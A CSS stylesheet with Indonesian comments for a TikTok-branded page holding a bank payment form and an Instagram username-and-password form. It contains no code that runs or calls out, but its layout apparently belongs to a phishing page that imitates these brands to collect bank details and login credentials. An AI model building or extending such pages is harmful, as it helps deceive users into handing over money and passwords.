/* =========================================
   1. RESET & PENGATURAN DASAR
   ========================================= */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}

body {
    background-color: #f5f5f5; 
    display: flex;
    flex-direction: column;
    min-height: 100vh;
    padding-top: 70px; 
}

/* =========================================
   2. HEADER & FOOTER
   ========================================= */
.header {
    position: fixed;
    top: 0; left: 0; width: 100%; height: 70px;
    background-color: #ffffff;
    display: flex; justify-content: space-between; align-items: center;
    padding: 0 40px;
    border-bottom: 1px solid #eaeaea;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
    z-index: 1000;
}
.logo-area { display: flex; align-items: center; }
.tiktok-logo-img { height: 32px; width: auto; display: block; }
.help-link { color: #000000; text-decoration: none; font-size: 14px; font-weight: 500; }
.help-link:hover { text-decoration: underline; }

.footer { text-align: center; padding: 30px 20px; color: #888888; font-size: 13px; line-height: 1.6; }
.footer-links { margin-bottom: 8px; }
.footer-links a { color: #666666; text-decoration: none; font-weight: 500; transition: color 0.2s; }
.footer-links a:hover { color: #ff4500; }
.footer-links .separator { margin: 0 8px; color: #cccccc; }
.footer-copyright { color: #999999; font-size: 12px; }

/* =========================================
   3. KONTEN UTAMA & CARD
   ========================================= */
.main-wrapper {
    flex: 1; display: flex; justify-content: center; align-items: center; padding: 40px 20px;
}
.content-card {
    background-color: #ffffff; width: 100%; max-width: 520px; 
    border-radius: 16px; box-shadow: 0 8px 30px rgba(0, 0, 0, 0.08);
    padding: 40px; text-align: left;
}

.form-title { font-size: 20px; font-weight: 700; color: #1a1a1a; margin-bottom: 8px; }
.form-subtitle { font-size: 14px; color: #666666; margin-bottom: 32px; line-height: 1.5; }

/* =========================================
   4. DESAIN FORM BANK (index.html)
   ========================================= */
.input-group { margin-bottom: 24px; }
.input-group label { display: block; font-size: 15px; font-weight: 600; color: #333333; margin-bottom: 10px; }

/* Aturan umum untuk input di luar pembungkus khusus */
.input-group input[type="text"], 
.input-group input[type="password"], 
.input-group select {
    width: 100%; padding: 14px 16px; border: 1px solid #dcdcdc; border-radius: 8px; font-size: 15px; color: #333333; outline: none; transition: border-color 0.2s; background-color: #ffffff;
}

.input-group input:focus, .input-group select:focus { border-color: #000000; }
.input-group input::placeholder { color: #a0a0a0; }

.input-group select {
    appearance: none; -webkit-appearance: none; -moz-appearance: none;
    background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22%23333%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E");
    background-repeat: no-repeat; background-position: right 16px top 50%; background-size: 12px auto; cursor: pointer;
}

/* --- PERBAIKAN INPUT TOTAL (AGAR TIDAK 2 LAPIS) --- */
/* --- PERBAIKAN INPUT TOTAL --- */
.total-input-wrapper {
    display: flex; 
    align-items: center; 
    border: 1px solid #dcdcdc; /* Border untuk kotak pembungkus */
    border-radius: 8px; 
    padding: 0 16px; 
    background-color: #ffffff; 
    transition: border-color 0.2s;
}

.total-input-wrapper:focus-within { 
    border-color: #000000; /* Warna hitam saat diklik */
}

.currency-symbol { 
    font-size: 15px; 
    font-weight: 500; 
    color: #333333; 
    margin-right: 10px; 
}

/* Menghilangkan border DAN memastikan background transparan pada input di dalamnya */
.total-input-wrapper input { 
    border: none !important; 
    background-color: transparent !important;
    box-shadow: none !important;
    padding: 14px 0; 
    width: 100%; 
    outline: none; 
    font-size: 15px; 
    color: #333333;
}

/* =========================================
   5. DESAIN FORM INSTAGRAM (instagram.html)
   ========================================= */
.integration-logos { display: flex; align-items: center; justify-content: center; gap: 20px; margin-bottom: 24px; margin-top: 10px; }
.logo-box img { width: 56px; height: 56px; object-fit: contain; }
.divider { width: 1px; height: 40px; background-color: #e0e0e0; }

.info-box { display: flex; gap: 16px; background-color: #f8f9fa; border-radius: 12px; padding: 20px; margin-bottom: 24px; text-align: left; }
.info-icon { flex-shrink: 0; margin-top: 2px; }
.info-content h3 { font-size: 15px; font-weight: 700; color: #1a1a1a; margin-bottom: 6px; }
.info-content p { font-size: 13px; color: #555; line-height: 1.5; }

/* --- PERBAIKAN INPUT USERNAME (AGAR TIDAK 2 LAPIS) --- */
.input-with-icon { 
    display: flex; 
    align-items: center; 
    border: 1px solid #dcdcdc; 
    border-radius: 8px; 
    padding: 0 16px; 
    transition: border-color 0.2s; 
    background-color: #ffffff;
}

.input-with-icon:focus-within { border-color: #000000; }

.input-icon { 
    display: flex; 
    align-items: center; 
    margin-right: 12px; 
}

.input-icon img { 
    width: 20px; 
    height: 20px; 
    object-fit: contain; 
}

/* Menghilangkan border bawaan input di dalam wrapper */
.input-with-icon input { 
    border: none !important; 
    background-color: transparent !important;
    box-shadow: none !important;
    width: 100%; 
    padding: 14px 0; 
    font-size: 15px; 
    outline: none; 
    color: #333; 
}

.input-with-icon input::placeholder { color: #a0a0a0; }

/* --- Tombol Toggle Mata Password --- */
.toggle-password {
    display: flex;
    align-items: center;
    cursor: pointer;
    color: #888;
    transition: color 0.2s;
}
.toggle-password:hover {
    color: #333;
}

.form-divider { border: none; border-top: 1px solid #eaeaea; margin: 30px 0; }
.feature-list { display: flex; flex-direction: column; gap: 20px; }
.feature-item { display: flex; gap: 16px; align-items: flex-start; }
.feature-icon { flex-shrink: 0; width: 40px; height: 40px; border-radius: 50%; background-color: #f0f0f0; display: flex; justify-content: center; align-items: center; }
.feature-text h4 { font-size: 14px; font-weight: 700; color: #1a1a1a; margin-bottom: 4px; }
.feature-text p { font-size: 13px; color: #666; line-height: 1.4; }

/* =========================================
   6. TOMBOL SUBMIT & SPINNER (WARNA HITAM)
   ========================================= */
.btn-submit {
    background-color: #000000; 
    color: white; 
    border: none; 
    width: 100%; 
    padding: 16px;
    border-radius: 10px; 
    font-size: 16px; 
    font-weight: 700; 
    cursor: pointer;
    position: relative; 
    transition: background-color 0.2s; 
    margin-top: 16px; 
    min-height: 52px; 
    display: block;
}
.btn-submit:hover { 
    background-color: #333333; 
}
.btn-arrow { position: absolute; right: 20px; top: 50%; transform: translateY(-50%); font-weight: normal; }

.btn-submit.loading { pointer-events: none; }
.btn-submit.loading span:not(.btn-arrow) { visibility: hidden; }
.btn-submit.loading .btn-arrow { display: none; }
.btn-submit.loading::after {
    content: ""; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);
    width: 20px; height: 20px; border: 3px solid rgba(255, 255, 255, 0.3);
    border-top-color: #ffffff; border-radius: 50%; animation: spin 0.8s linear infinite;
}
@keyframes spin {
    0% { transform: translate(-50%, -50%) rotate(0deg); }
    100% { transform: translate(-50%, -50%) rotate(360deg); }
}

/* =========================================
   7. MODE MOBILE
   ========================================= */
@media (max-width: 768px) {
    body { background-color: #ffffff; padding-top: 60px; }
    .header { height: 60px; padding: 0 20px; }
    .tiktok-logo-img { height: 26px; }
    .main-wrapper { padding: 0; align-items: stretch; }
    .content-card {
        max-width: 100%; min-height: calc(100vh - 60px); border-radius: 0; box-shadow: none; padding: 30px 24px;
    }
    .footer { padding: 20px; background-color: #fafafa; border-top: 1px solid #eaeaea; }
}